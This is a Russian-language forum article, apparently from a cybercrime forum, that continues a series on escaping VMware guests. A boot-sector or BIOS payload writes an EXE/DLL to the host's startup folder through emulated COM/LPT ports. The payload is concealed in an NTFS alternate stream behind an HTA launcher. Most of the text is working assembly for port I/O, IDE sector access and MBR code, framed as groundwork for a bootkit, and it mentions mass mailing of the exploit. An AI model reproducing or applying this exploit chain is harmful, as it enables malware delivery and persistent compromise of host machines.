Уязвимость в VMWare и других виртуальных машинах: продолжение. Реализация через бутлоадер.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: it-solutions
Специально для форума XSS.IS

Прошлая часть здесь: https://xss.is/threads/99914/

Видео работы эксплоита:


В прошлой статье мы рассмотрели запуск из образа VMWARE небольших EXE и DLL размером 2-4 Kb, а так же запуск тестового шеллкода размером 370 байт.
В данной статье мы рассмотрим запуск исполняемых файлов произвольного размера, хранение этих файлов на виртуальном жёстком диске VMWare (файле *.vmdk) и их последующие считывание и отправка в папку атозагрузки на хостовой системе.
Мы так же рассмотрим работу с LPT-портом, который, в отличие от ранее использовавшегося COM-порта, отличается значительно большей скоростью работы, и это очень хорошо будет отражаться на скорости работы эксплоита.
Кроме кода BIOS, использовавшегося ранее, мы применим новый метод - будет показан пример работы эксплоита из загрузочного сектора жёсткого диска.

В варианте кода, работающего из BIOS, будет рассмотрен вариант работы с жёстким диском стандарта IDE, реализованный через порты ввода-вывода.
То есть в коде BIOS у нас уже к данному моменту будет возможность выводить отладочные сообщения через COM/LPT порт, а также возможность считывания и записи секторов жёсткого диска.
А это уже фундамент для будущего биоскита.

Данная статья не только об VMWare эксплоите, но и об буткитах.
Рассмотренный в этой статье код, срабатывающий из загрузочного сектора, по сути своей является специализированным буткитом, функция которого состоит в эксплуатации изучаемой нами уязвимости в VMWare.
На данный момент он делает то же самое, что до этого делал код в BIOS - прочитывает сохранённый где-то в образе VMWARE исполняемый файл и отправляет его в COM/LPT порт.
В дальнейших статьях мы преобразуем его в полноценный буткит, с возможностью срабатывания перед загрузкой windows и запуска собственного драйвера на самых начальных этапах загрузки операционной системы.

Отдельно по реакции производителей виртуальных машин, подверженных данной уязвимости - реакции не было никакой.
За два месяца, после того как данная уязвимость была выложена в паблик, никаких исправлений не было выпущено.
Скорее всего всё так и останется дальше, исправлять эту ошибку они не будут.
Или начнут шевелиться только после какой-либо массовой рассылки с этим эксплоитом, которая сделает большие последствия и привлечёт массовое внимание.

Перед тем как начать, рассмотрим новые дополнения и особенности обработки путей в VMWare.

Запись данных из COM/LPT порта в файловый поток NTFS

Кроме записи в обычный файл в VMWare можно записать данные из COM/LPT порта в отдельный файловый поток, прикрепленный к отдельному файлу.
В результате у нас появляется возможность создать составной HTA файл, скомпонованный из обычного (основного) файла и прикреплённого к нему файлового потока.
Путём записи в COM порт мы создаём основной файл test.hta, содержащий скрипт, который запускает DLL
А уже через LPT порт мы делаем запись в файловый поток с именем "test.hta : TestStream"
В этот файловый поток мы сохраняем исполняемый EXE/DLL файл.
В этом составном файле пейлоад будет храниться в отдельном файловом потоке, а скрипт из этого hta файла будет из этого файлового потока запускать EXE/DLL пейлоад.
При открытии и просмотре файла test.hta будет виден только HTA скрипт, никаких исполняемых файлов там видно не будет.
Доступ к потоку, в котором будет хранится исполняемый файл, можно получить только специальными командами Windows или с помощью специальных утилит (например утилита Streams из комплекта SysInternals, или плагин для NTFS потоков для Far Manager).
Поток из такого hta файла можно извлечь набрав в командной строке:

Код: Скопировать в буфер обмена
more<test.hta:testStream>ExtractedStream.bin

После запуска этой команды поток будет скопирован из test.hta:testStream в файл ExtractedStream.bin
Содержимое файла test.hta перенаправляется символ перенаправления вввода-вывдоа "<" на стандартный ввод команды more.
Системнвя команда more это утилита для вывода на экран файлов в консоль.
В нашем случае на экран она выводить ничего не будет, потому что указан символ перенаправления вывода ">" и следующее сразу за ним имя файла ExtractedStream.bin
Поэтому вывод команды more вместо консоли прямиком копируется в выходной файл ExtractedStream.bin

На скриншотах показаны прописанные в VMWare пути для пускового HTA файла и для прикреплённого к нему потока, в котором хранится EXE/DLL пейлоад.

vmware_streams_in_paths.png



COM-порт мы используем для записи пускового скрипта, LPT-порт для пейлоада - почему именно так, а не наоборот ?
Потому что скорость работы COM-порта значительно ниже, чем у LPT-порта, и мы используем COM-порт для записи небольшого HTA скрипта.
А относительно большой объём данных, которым является наш EXE/DLL пейлоад, мы передаём через более скоростной LPT порт.
Поэтому следующим шагом рассматриваем метода отправки файлов через LPT порт.

Отправка данных через LPT порт из BIOS

Работа с LPT портом взята из исходников TinyBIOS, из исходников обработчика прерывания INT 17h, взятого оттуда.
INT 17h это стандартный сервис BIOS для работы с LPT портом, работа с ним так же будет далее рассмотрена в этой статье далее.
Сам проект TinyBIOS есть на github, в нём мы найдём исходник интересующего нас прерывания.
Из него мы возьмём только функционал инициализации LPT порта и функционал отправки данных в LPT порт, всё остальное там для нашей задачи не нужно.
Процедура отправки данных в LPT порт c использованием только портов ввода-вывода будет выглядеть так:

Код: Скопировать в буфер обмена
Код:
lpt_output:
     push dx

check_lpt_status:
     mov dx, 378h
     inc dx
     in  al, dx
     test al, 80h
     jz  check_lpt_status

     dec dx
     mov al, ah
     out dx, al
     inc dx
     inc dx
     in  al, dx

     and al, 11111110b
     out dx, al
     or  al, 00000001b
     out dx, al
     and al, 11111110b
     out dx, al
     pop dx
   
     ret

Адресом первого LPT порта по умолчания является число 0378h (или 888 в десятичной системе счисления).
Этот адрес называет базовым адресом порта.
Базовым он называется потому, что от этого номера отсчитываются адреса других портов, обслуживающих LPT. Он является базой отсчёта.
Например, адрес 378h+1=379h это адрес регистра состояния LPT порта, а адрес 378h+2=37ah это адрес регистра управления.

Первым делом перед отправкой данных в LPT порт мы проверяем его регистр состояния, и дожидаемся ответа из него о готовности принять данные.
За это отвечает цикл, расположенный по метке check_lpt_status

После того, как дождались ответа о готовности, помещаем отправляемый байт в регистр данных LPT порта.
Затем переходим к операции стробирование.
Стробирование - это что-то типа светофора, когда есть зелёный сигнал светофора пропускаем данные, когда горит красный цвет то делаем паузу.
Последние строки этой процедуры это управление стробирующим сигналом LPT порта - включаем "зелёный" сигнал светофора, пропускаем в принтерный порт отправляемый байт и снова включаем 'красный' сигнал.

Хранение пейлоада на жёстком диске и работа с ним из BIOS

В BIOS нам отведено всего лишь около половины мегабайта доступных данных, поэтому выбор пейлоада ограничен этим размером. Решением этой проблемы является хранение пейлоада на жёстком диске.
Для этого нам понадобятся процедуры чтения и записи секторов диска, работающие напрямую через порты ввода вывода.
В стандартном BIOS за это отвечает прерывание INT 13h, которое отвечает за работу с дисками, и поддерживает разные типы дисковых интерфейсов: IDE, SCSI, floppy и т.д.
Прерыванию INT 13h просто передаётся логический номер диска (0=диск "A", "1"=диск "B" и т.д.), и работа с разными накопитеями жёстких дисков, разным обрудованием и интерфейсами будет выглядеть одинаково, вне зависимости от того работаем ли мы, например, с диском стандарта IDE или SCSI.

Нам нужно из функционала этого прерывания только чтение и запись секторов диска, подключенного по стандарту IDE (Integrated Drive Electronics).
Этот низкоуровневый протокол работы с жёсткими дисками VMWare по умолчанию устанавливает для своих виртуальных машин.

vmware_ide_disk_default.png



На скриншоте в настройках образа VMWare мы видим прописанный тип жёсткого диска IDE.

Нам нужно будет реализовать урезанный функционал прерывания INT 13h, оставив в нём только чтение и запись секторов жёсткого диска, поддерживающего стандарт передачи данных IDE.

Процедура чтения секторов жёсткого диска выглядит так:

Код: Скопировать в буфер обмена
Код:
                    read_sector_hdd:

                        mov     dx,1f6h     ;Порт выбора диска и головки
                        mov     al,0a0h         ;Выбираем Disk=0, Head=0
                        out     dx,al

                        mov     dx,1f2h         ;Порт счетчика секторов
                        mov     al,1            ;Считывается один сектор
                        out     dx,al

                        mov     dx,1f3h         ;Порт номера сектора
                        mov     al,1            ;Считывается сектор с номером 1 (нумерация начинается с нуля, первый сектор с цифрой 0 это MBR (главная загрузочная запись))
                        out     dx,al

                        mov     dx,1f4h         ;Порт младшего значения циллиндра
                        mov     al,0            ;Cylinder=0
                        out     dx,al

                        mov     dx,1f5h         ;Порт старшего значения циллиндра
                        mov     al,0            ;Cylinder=0
                        out     dx,al

                        mov     dx,1f7h         ;Коммандный порт
                        mov     al,20h          ;Прочитать с попыткой повтора
                        out     dx,al

                    read_data: 
                        in      al,dx
                        test    al,8            ;Дожидаемся ответа от контроллера диска о готовности к работе
                        jz      read_data       ;

                        mov     cx,512/2        ;Один сектор разделенный на 2, потому что считываем командой INSW, которая работает с двумя байтами за один такт
                        mov     di,offset buffer
                        mov     dx,1f0h         ;Порт данных контроллера жёсткого диска
                        rep     insw

                        ret

                        buffer  db 512 dup ('0')

Для записи секторов этим способом используется адресация CHS (Cylinder/Head/Secotr), подробно рассмотренная далее в этой статье.
Адреса цилиндра, головки и сектора заносятся в контроллер жёствого через порты 1F6, 1F3, 1F4, 1F5.
Портов четыре вместо трёх потому, что для значения цилиндра используется двухбайтное значение, а один порт контроллера жёсткого диска может принять только однобайтное значение.
Физически порт представляет собой 8 проводников, по каждому из которых идут сигналы либо ноль, либо единица (либо есть напряжение +3,3 вольта либо оно равно нулю), которые в совокупности представляют собой байт данных.
Порт с номером 1F7 задаёт тип операции, который должен выполнить контроллер жёсткого диска. В нашем случае он равен 20h - чтение секторов.
1F0 - это порт данных, через него происходит обмен данными с контролером жёсткого диска как при чтении, так и при записи, а так же для получения дополнительной информации об настройках жёсткого диска.
Командой insw (сокращение от IN String Words) принимаем из порта данных 1F0 строку из вордов в адрес памяти, указанный в регистрах DS и SI.
В регистре CX храним длину принимаемых данных, командой rep повторяем инструкцию insw то количество раз, которое установлено в регистре CX.

С использованием сервиса BIOS INT 13h это аналогично следующему коду:

Код: Скопировать в буфер обмена
Код:
                        mov     ax, 201h
                        mov     dx, 80h
                        mov     cx, 1
                        mov     bx, offset buffer
                        int     13h

Процедура записи cекторов жёсткого диска выглядит аналогично:

Код: Скопировать в буфер обмена
Код:
                    write_sector_hdd:
                        mov     dx,1f6h
                        mov     al,0a0h
                        out     dx,al

                        mov     dx,1f2h
                        mov     al,1
                        out     dx,al

                        mov     dx,1f3h
                        mov     al,2
                        out     dx,al

                        mov     dx,1f4h
                        mov     al,0
                        out     dx,al

                        mov     dx,1f5h
                        mov     al,0
                        out     dx,al

                        mov     dx,1f7h
                        mov     al,30h
                        out     dx,al
                    write_data:
                        in      al,dx
                        test    al,8
                        jz      write_data
   
                        mov     cx,512/2
                        mov     si,offset buffer
                        mov     dx,1f0h
                        rep     outsw

                        ret

                        buffer  db 512 dup ('A')

Всё та же как и в процедуре чтения секторов. Отличие в том, что в командный порт заносим другую команду - 30h (чтение секторов).
И вместо инструкции insw (инструкция чтения данных из порта контроллера жёсткого диска) используем инструкцию outsw (сокращение от OUT String Words, инструкцию отправки данных в порт контроллера жёствого диска).
После срабатывания этой процедуры открыв редактор жёсткого диска мы увидим что второй сектор жёсткого диска (сектор расположенный сразу же за MBR) будет заполнен буквами "A".

Если мы делаем эту же процедуру с помощью INT 13h, то это будет выглядеть так:

Код: Скопировать в буфер обмена
Код:
                        mov     ax, 301h
                        mov     bx, offset buffer
                        mov     cx, 2
                        mov     dx, 80h
                        int     13h

Теперь, при помощи этих двух процедур, напрямую работающих с портами жётского диска, мы получаем возможность работы с жёстким диском напрямую из микросхемы памяти BIOS.

Нам, в нашем случае, понадобится только процедура чтения секторов жёсткого диска. Процедура записи секторов диска не используется в VMWare эксплоите, но в то же время она очень важна для разработки биоскита, который будет рассмотрен в последующих статьях.
С помощью этой процедуры биоскит будет каждый раз при включении компьютера перезаписывать главную загрузочную запись MBR (Main Boot Record) своим кодом.
Для этого нам и понадобится проуедура записи секторов жёсткого диска напрямую через порты ввода-вывода, без использования прерывания INT 13h.
Далее переходим к разбору того, что такое главная загрузочная запись жёсткого диска.

Переходим к второму методу запуска кода до старта операционной системы - запуск из загрузочного сектора HDD

Сразу после включения компьютера BIOS выполняет несколько базовых задач, без которых дальнейшая процедура загрузки операционной системы невозможна.

Во-первых, делается POST-тест (Power-On Self Test) - проверка работоспособности оборудования, тест памяти, проверка подключенности устройств ввода информации (клавиатуры и мыши)
Во-вторых, производится первоначальная инициализация оборудования.
Во-третьих, производится настройка векторов прерываний, через которые будет осуществлятся работа с этим оборудованием.

Векторы прерываний хранятся в таблице, расположенной в самом начале логической адресации памяти, начиная с адреса памяти равного нулю.
Эта таблица называется IDT (Interrupt Descriptor Table) - таблица описания прерываний, или другое её название, таблица векторов (указателей) обработчиков прерываний.
Вектор прерывания это указатель на подпрограмму, которая отвечает за работу с оборудованием, за обработку определённых действий и т.д.
Размер этого указателя 4 байта, то есть вся эта таблица занимает первые 256*4=3FF (1024 в десятичной системе счисления) байт памяти.
Подпрограмма обработки события, которое произошло с оборудованием, называется прерыванием по той причине, что по сигналу от оборудования о наступившем некотором событии нормальный ход работы программы прерывается и вызывается обработчик этого события.
Например, наступило событие - нажатие кнопки на клавиатуре. После нажатия кнопки нормальный ход программы будет прерван и будет вызвана подрпрограмма обработки этого события - прерывание с номером 9, INT 09h

Кроме того, прерывания нам позволяют не обращать внимания на детали работы с оборудованием и сильно упрощают работу с ним.
Вся низкоуровневая работа с портами-ввода вывода оборудования спрятана внутри прерываний.

Например, для записи данных на жёсткий диск на нужно всего лишь указать номер жёсткого диска, номера секторов и их количество. Мы не указываем детальные настройки работы жёсткого диска, все эта работа проделывается внутри прерывания INT 13h незаметно для нас.
И так же для работы с последовательным и параллельным портом всё что нам нужно передать прерыванию это только настройки скорости порта и отправляемый байт данных.
Все остальные настройки, например настройки чипсета SuperIO и тому подобные, спрятаны внутри прерываний INT 14h и INT 17h, и нам все эти настройки делать не требуется.

В прошлый раз, когда мы запускались из кастомного биоса bios.rom, для работы с ком-портом нам нужно было писать программу в десятки строк.
Теперь, например, с помощью прерывания INT 14h мы можем ту же самую работу с компортом уместить в несколько строк.

Для VMWare эксплоита нас интересуют следующие прерывания:

1. Прерывание INT 14h - работа с последовательным COM-портом.
2. Прерывание INT 17h - работа с параллельным портом.
3. Прерывание INT 13h - работа с жёстким диском. Через него мы будем считывать пейлоад, сохранённый в первых секторах жёсткого диска.

Сразу после настройки таблицы векторов прерываний BIOS передаёт управление начальному загрузчику операционной системы.
Вариант этой загрузки мы указываем в настройках биос, это может быть загрузка с флешки, с CDROM, бесдисковая PXE загрузка по сети Ethernet, либо стандартная загрузка с HDD.
При варианте загрузки с HDD BIOS считывает самый первый адрес диска, помещает его содержимое по адресу 0000:7C00 и передаёт туда управление.
Этот первый сектор диска называет главной загрузочной записью MBR (Main Boot Record), и он имеет определённую структуру и стандарты, рассмотрим их.

Формат этого первого сектора жёсткого диска отличается от других секторов.
Первое отличие: последние байты этого сектора (то есть байты с номрами 0xFE и 0xFF) всегда равны 0x55 и 0xAA. Эти 2 байта являются сигнатурой главной загрузочной записи.
Подобно тому как признаком исполняемого файла в Windows являются первые 2 байта файла равные 0x4D, 0x5Ah (или "MZ" в символьном виде) эти 2 байта 0x55,0xAA в конце загрузочного секторая являются признаком загрузчика операционной системы.
Если эти байты не указать, биос загрузчик операционной системы не распознает и выдаст ошибку.
Сигнатура MZ в исполняемых файлах виндовс это просто сокращение имени Mark Zbikowski, разработчика формата исполняемых файлов Microsoft.
Сигнатура 0x55, 0xAA в загрузчике операционной системы выполняет чисто техническую функцию. Если эти байты перевести в двоичный вид то мы получим такое значение: 01010101, 10101010
То есть последовательную смену с нуля на единицу - эта последовательная чередующаяся смена сигнала от магнитной головки жёсткого диска служит в стандарте IDE для поиска места, где заканчивается первый сектор диска.


Помимо кода загрузчика операционной системы загрузочный сектор диска содержит в себе таблицу разбиения жёсткого диска Partition Table.
Без этой таблицы, или с повреждённой таблицей загрузка большинства операционных систем невозможна, в частности будет невозможна загрузка Windows.

vmware_incorrect_boot_sector.png



На рисунке показана попытка загрузки с жётского диска, в бутлоадере которого не указана сигнатура 055AAh
BIOS, не найдя сигнатуры бутлоадера, ищёт резервные способы загрузки операционной системы.
В частности, встроенный BIOS VMWare пытается загрузить операционную систему бездисковым методом по локальной сети, используя стандарт PXE, что мы и видим на рисунке.

partition_table_in_standard_bootloader.png



На рисунке показана таблица Partition Table в стандартном бутлоадере операционной системы.
Адрес этой таблицы в загрузочном секторе по стандарту всегда равен 01BEh

На текущем моменте после срабатывания эксплоита мы не будем передавать дальнейшее управление операционной системе Windows, поэтому эту таблицу мы сейчас просто игнорируем и не заполняем.
Но она понадобится в дальнейшем, когда мы будем реализовывать Process Continuation в vmware эксплоите.
Process Continuation - это реализация нормальной работы эксплуатируемого программного обеспечения после срабатывания эксплоита. То есть после срабатывания эксплоита программное обеспечение не падает, а продолжает свою работу в обычном режиме.
В нашем случае Process Continuation будет реализовываться как нормальная загрузка Windows после срабатывания VMWare эксплоита.

exploit_bootloader_overview.png



На рисунке показан загрузочный сектор, красным цветом обведена сигнатура загрузочного сектора, зелёным цветом обведён код нашего бутлоадера.
Сразу за загрузочным сектором видно начало нашего пейлоада - EXE файл.

После того как BIOS проинициализирует оборудование, протестирует систему на работоспособность и сделает все предварительные настройки, в память по адресу 0000:7C00 будет считан первый сектор диска, в котором находится бутлоадер.
Основной код BIOS с этого момента больше неактивен и он передаёт дальнейшее управление бутлоадеру, перейдя по адресу памяти 0000:7C00
В дальнейшей активность кода работающего из биоса будет проявляться только тогда, когда мы будем пользоваться прерываниями.

Первое что должен сделать бутлоадер, получив управление, это настройка сегментных регистров и установка флага операций со строками, а так же настроить стек.
Сразу после передачи управления из BIOS в этих регистрах могут быть произвольные данные. Поэтому в них нужно внести определённые значения.
Код этой предварительной настройки выглядит так:

Код: Скопировать в буфер обмена
Код:
                                    mov     ax, cs
                                    mov     ds, ax
                                    mov     es, ax
                                    mov     ss, ax
                                    mov     sp, 0x7C00
                                    cld

Первые четыре команды это прописывание сегментных регистров - делаем их равными текущему кодовому сегменту, то есть тому сегменту, в котором в данный момент времени выполняется бутлоадер.
Настраивая указатель стека sp (stack pointer) мы помещаем в него указатель начала кода нашего бутлоадера.
Так как при помещении данных в стек значение указателя уменьшается, то стек растёт вниз, в противоположную сторону от бутлоадера.
После настройки стека можно пользоваться инструкциями работы со стеком PUSH/POP/PUSHAD/POPAD
Последняя инструкция cld задаёт направление работы инструкций обработки строк: SCASB, LODSD, INSB и тому подобных.
Эта инструкция сбрасывает в ноль Direction Flag - флаг, указывающий в каком порядке эти инструкции обрабатывают строки. В стотрону увеличения адреса последующего обрабатываемого элемента данных, либо уменьшения.
Так как после выхода из основного кода BIOS значение этого флага может быть произвольным, мы устанавливаем его в значение по умолчанию. То есть обработка строк в сторону увеличения адресов памяти.

Далее рассматриваем как записать загручик операционной системы, скомпилированный код которго мы храним в файле boot.bin, в образ виртуальной машины VMWare.

Запись загрузочного сектора VMWare из хостовой операционной системы

Во всех туториалах по OSDev в примерах написания бутлоадеров всегда используется метод подключения виртуальной дискеты, на которой записан бутлоадер.
В VMWare это делается, например, так:

vmware_floppy_file_image_attach.png



Или прописав строки для полключения floppy.img в файле настроек vmx:

Код: Скопировать в буфер обмена
Код:
                                floppy0.present = "TRUE"
                                floppy0.fileType = "file"
                                floppy0.fileName = "floppy.img"

Этот образ дискеты с бутлоадером в этих примерах целиком компилируется в FASM, заполняя неиспользуемое место дискеты нулями.
Нам этот метод совсем не подходит, потому что необходима загрузка именно с жёсткого диска.
Поэтому рассмотрим способ записи бутлоадера напрямую в виртуальный VMDK диск VMWare.

Образ жёсткого диска VMWare хранит в файлах с расширением *.vmdk
Подробно разбирать формат этого файла нам не нужно. Нам достаточно того, чтобы найти в нём адрес по которому хранится RAW образ жёсткого диска.
Для этого нам надо найти первый сектор жёсткого диска.
Ищется он очень просто - поиском ранее упомянутой сигнатуры загрузчика операционной системы, двух байтов 0x55 и 0xAA
Открываем HEX редактор, запускаем в нём байтовый поиск и пишем в открывшемся окне байты 55 и AA, как показано на рисунке:

finding_bootloader_signature.png



В результате мы найдём следующую область:

bootloader_location.png



На рисунке мы видим первый сектор жёсткого диска, обведённый зелёным цветом, и его физическое смещение в файле *.vmdk, обведённое красным цветом.
Итак, мы получили смещение в файле 0x57E00, по которому будем записывать содержимое скомпилированного загрузчика операционной системы, хранящегося в файле boot.bin
Делать мы это будем простой программой writeboot.exe, исходник которой лежит в папке src под именем writeboot.cpp

Эта простая утилита открывает файл диска VMWare *.vmdk и записывает по смещению 0x57E00 содержимое файла boot.bin, лежащего в текущей папке.
Теперь дальнейший шаг - создание тестового загрузчика, чтобы убедится что всё работает и в VMWare после запуска образа вирртуальной машины из загрузочного сектора запускается наш тестовый код.

Тестовый MBR загрузчик, выводящий на экран тестовое сообщение

Переходим к сборке файла boot.bin, содержимое которого мы записываем в дисковый образ VMWARE, хранящийся в файле VMDK.
Тестовый загрузчик будет выводить тестовое сообщение, и делать он это будет через стандартное прерывание BIOS INT 10h, отвечающие за видеовывод на SVGA адаптер.
Делается это следующим кодом на ассемблере:
Код: Скопировать в буфер обмена
Код:
                                mov     ax, 1301h
                                mov     bx, 0ah
                                mov    cx, 14
                                xor    dx, dx
                                call    get_string
                                db      'Test message',13,10
                                get_string:
                                pop    bp
                                int     10h

"mov ax, 1301h" - эта команда аналогична двум командам "mov ah,13" и "mov al,13", просто записывается короче и так экономим пару байт памяти.

В региcтре AH задаём тип сервиса, который хотим получить от прерывания INT 10h. В данном случае он равен 13h, то есть выводу ASCII строки.
В BX задаём цвет текста, в данном случае используем значение 0Ah, что означает зелёный цвет.
В регистре CX задаём количестао символов в строке, что равно 14 символам, включая символ перевода курсора на 1 строку вниз (сивол CR) и символа возврата к началу строки (символ LF),
В регистр BP мы помещаем адрес выводимой строки, и на способе помещения туда этого адреса остановимся отдельно.
Значение в регистр BP мы помещаем не стандартной инсрукцией MOV, а, казалось бы, совершенно не предназначенной для этого инструкцией CALL и инструкцией POP.
В случае с инструкциями MOV и LEA мы должны указать некоторое фиксированное смещение, по которому находится строка.
Но в загрузчике операционной системы, в коде биос и в тому подобных вещах работать с фиксированными смещениями крайне неудобно.
И поэтому нужен какой-то способ, позволяющий ассемблерному коду самостоятельно определять смещения строк. Этот способ закоючается в использование инструкций CALL и POP вместо инструкций MOV или LEA.
Работает этот способ следующим образом. Вызывая инструкцию для вызова подрограмм CALL эта инструкцмя помещает в стек адрес возврата из процедуры, и этот адрес равен указателю на следующую инструкцию после инструкции CALL.
Но в нашем случае он указывает на нашу ASCII строку.
Таким образом, в стек мы поместили адрес ASCII строки.
Теперь этот адрес нужно оттуда извлечь и поместить в регистр BP, что делает инструкция POP BP.
После её вызова из стека скопируется в регистр BP адрес ASCII строки и восстановится тот указатель стека, который был перед вызовом инструкции CALL.
Этот способ адресации строк или каких-либо данных является одной из техник написания ПНК (Позиционно-Независимого Кода).
То есть кода, который должен загружаться по произвольному адресу в памяти, то есть позиция его в памяти заведомо неизвестна.
И по этой причине в нём нельзя пользоваться фиксированнными смещениями.

Так же на нужно сделать так, чтобы файл boot.bin после компиляции всегда был равен 512 байт, и в конце него вседа была записана сигнатура бутлоадера: 0x55, 0xAA
Достигнуть этого мы можем записав в конце файла boot.asm следующие две строки:

Код: Скопировать в буфер обмена
Код:
                                times (510 - $ + start) db 0
                                db 055h,0aah

Перед этими двумя строками мы пишем код бутлоадера.
Первая из этих строк автоматически высчитывает размер неизрасходованного на программный код места и заполняет его нулями
Вторая строка добавляет в конце стандартную сигнатуру бутлоадера.

Компилируем файл boot.bin с кодом выводящим тестовую строку, записываем его на файл жёсткого диска VMWare vmdk и запускаем образ операционной системы. В результате мы увидим следующее:

bootloader_hello_world.png



Итак, теперь у нас написан Hello World для загрузочного сектора. Теперь переходим к отправке данных в COM и LPT порт из загрузочного сектора.

Работа с COM и LPT портом из загрузочного сектора

Начнём с прерывания для работы с COM-портом - это прерывание INT 14h.
Первое что мы должны сделать, это инициализировать COM-порт.
Делается это следующим кодом:

Код: Скопировать в буфер обмена
Код:
                                mov     ah, 0
                                mov     al, 11100111b
                                xor       dx, dx
                                int        14h

В AH мы помещаем значение ноль, что соответствует выбору подпрограммы инициализации COM порта.
В DX мы помещаем номер COM порта. Нумерация начинается с нуля, поэтом для порта COM1 мы задаём значение 0
В регистре AL мы побитово задаём настройки работы COM порта. Первые три бита задают скорость в бодах, задаём первые три бита единицами, что соответсвует максимальной скорости стандартного COM порта в 9600 байт.
В прерывании INT 14h нет поддержки больших скоростей коммуникационных портов, BIOS подерживает только базовую низкоскоростную версию протокола работы с последовательным портом.
Следующие 2 бита ставим равными 0, это настройка того, что отсутствует поддержка чётности.
Следующий бит задаёт наличие стоповых битов, задаём его "1" (включен стоповый бит).
Последние два бита задают размер передаваемого симаола 7 бит или 8 бит. Пишем значение "11", что означет размер передаваемого символа в 8 бит.

Теперь после инициализации COM порта мы можем обращаться к функции отправки символа через компорт в прерывании INT 14h
Отправка одного байта через прерывание INT 14h выглядит следующим образом:

Код: Скопировать в буфер обмена
Код:
                                mov     ah, 1
                                xor       dx, dx
                                mov     al, 'A'
                                int        14h

Помещаем в регистр AH значение 1 - задаём номер функции в прерывании INT 14h, под номером один в прерывании INT 14h определена функция отправки байта.
В dx задаём компорт, так же как только что задавали его в функции инициализации COM-порта. Номер порта нумеруется начиная с нуля, соответственно нулю сответствует порт COM1.
В регистр AL помещаем передаваемый байт, в нашем случае это будет символ "A'.

После возврата из прерывания содержимое регистра AL сохраняется (то есть сохраняется значение передаваемого в порт байта, котороое можно отправить повторно).
Это удобно, если нам приходится передавать длинные последовательности одинаковых символов.
В остальных регистрах будет произвольное значение. Если их содержимое важно, то перед вызовом прерывания INT 14h значения регистров нужно сохранять инструкциями PUSHAD/POPAD

В регистре AH прерывание INT 14h сохраняет текущий статус линии. Информация о том или ином парметре линии передаётся путём установки того или иного бита в регистре AH.
Установленный первый бит регистра AH сигнализирует об ошибке, сброшенный бит сигнализирует об успешной отсылке байта в порт.
Обработка ошибок прерывания INT 14h производится проверкой установки этого бита. Если он установлен в единицу, значит произошла ошибка.
Эта проверка делается слудующим кодом:

Код: Скопировать в буфер обмена
Код:
                               test    ah, 80h
                               jnz     SerialError

Здесь число 80h будучи переведённое в двоичную запись представляет собой число 10000000b
Это двоичное число, с единственным установленным в единицу первым битом.
Инструкция test делает логическую операцию AND над числом, содержащемся в регистре AH, и над числов 10000000b
При этом числовой результат этой операции в регистры никуда не сохраняется, в зависимости от результат взводится только флаг ZF (zero flag).
Если результат операции true, то ZF=1, если false то ZF=0
Далее состояние флага ZF определяется инструкцией JNZ (Jmp Not Zero), и если ZF не равен 0 то делается переход на обработчик ошибок.

Теперь расмотрим отправку единичного байта через LPT порт.
В отличие от COM порта перед отправкой данных в LPT порт не требуется инициализация. За счёт этого работа с параллельным портом выглядит проще, чем с COM портом.
отправка единичного байта в LPT порт выглядит так:

Код: Скопировать в буфер обмена
Код:
                            mov     AH, 00h
                            mov     AL, 'A'
                            xor       dx, dx
                            int       17h

В AH мы помещаем 0, что обозначает функцию отправки байта.
В AL мы помещаем отправляемый байт, в данном случае это ASCII символ "A".
В регистре DX мы задаём номер порта, аналогично тому как задавали номер COM порта, работая с прерыаанием INT 14h.
Нумерация параллельных портов так же начинается с нуля, поэтому для порта LPT1 мы в регистре DX задаём значение 0.

Обработка ошибок происходит аналогично тому, как это делается в прерываании INT 14h
По выходу из прерыванию INT 17h в регистре AH возвращается статус LPT порта в битовой форме.
Каждый bit отвечает за статус того или иного параметра LPT порта.
Первый бит регистра AH отвечает за статус успешности операции с LPT портом. Если он взведён, то это синал об ошибке, если сброшен то это сообщает нам о том, что операция была произведена успешно.
Переход на обработчик ошибок, так же как и с прерыванием INT 14h, производится комбинацией инструкций "test ah,80h/jnz lpt_error"

В загрузочном секторе у нас крайне ораниченный объём кода, исчисляемый максимум 512 байтами.
Если же мы предполагаем что после отработки кода в загрузочном секторе дальше будет грузиться операционная система, то на ещё нужно оставить место под таблицу разбиения жёсткого диска Partition Table.
Эта таблица находится в загрузочном секторе по сммещению 1BEh, или 446 байт в десятичной системе счисления.
То есть под программный код у нас остаётся только 446 байт, и это очень небоьшой объём.
По этой причине мы должны экономить каждый байт, прибегая к методам оптимизации ассемблерного кода по размеру.

Например, стоит обратить внимание, что во всех приведённых примерах кода мы регистр DX обнуляли операцией XOR, и не пользовались, казалось бы, предназначенной для этого операцией "MOV DX,0"
Это объясняется тем, что инструкция "XOR DX,DX" занимает всего два байта, против инструкции "MOV DX,0", которая занимает три байта.
По причине того, что в загручоном секторе мы ограничены всего лишь 512 байтами памяти, экономия даже одного ьайта в этом случае выглядит существенной.
Разницу в этих двух инструкциях можно наглядно увидеть на следующем скриншоте:
optimize_mov_xor.png



На рисунке красным цветом обведена инструкция MOV, виден её опкод B8 и следующее за ним двухбайтное значение ноль.
Следующей инструкцией идёт инструкция "XOR DX,DX" с опкодом 33 C0, то есть длиной в два байта.
Две инструкции, делающие абсолютно одну и ту же операцию, но одна из них на байт короче.
Так же на рисунке мы видим инструкцию "mov al,al", что означает вычитание регистра из самого себя, в результате которого получается ноль.
Эта инструкция так же занимает два байта, вместо трёх, и может использоваться наравне с инструкцией "xor reg,reg"

Ещё один метод оптимизации: например нам нужно внести в старший байт 15 битного регистра одно число, а в младший байт другое.
Неоптимизированный способ записи выглядит так:

Код: Скопировать в буфер обмена
Код:
                                mov  dh, 10h
                                mov  dl, 20h

Это можно записать одной инструкцией: mov dx,1020h
То есть число, записываемое в 16-битный регистр, записываем как два последовательно записанных 8-битных числа.
Сначала указав число помещаемое в регистр DH, а затем сразу же за ним указав число помещаемое в регистр DL.
Такая запись так же позволяет сэкономить один байт программного кода.

Ещё один способ оптимизации состои в том, что вместо инструкции копирования одного регистра в другой мы используем инструкцию XCHG, меняющую местами значения двух регистров
Например, вместо двухбайтовой инструкции MOV BX,AX мы используем однобайтовую инструкцию XCHG, и экономим на этой операции один байт памяти.
Это метод применим в том случае, если содержимое регистра из которого мы копируем нам в дальнейшем будет ненужно, так как туда будет попадать значение из регистра в который производится копирование.
Наглядно разница в этих двух инструкциях показана на скриншоте:

optimize_mov_xchg.png



Запись EXE/DLL пейлоада на виртуальный VMDK диск VMWare

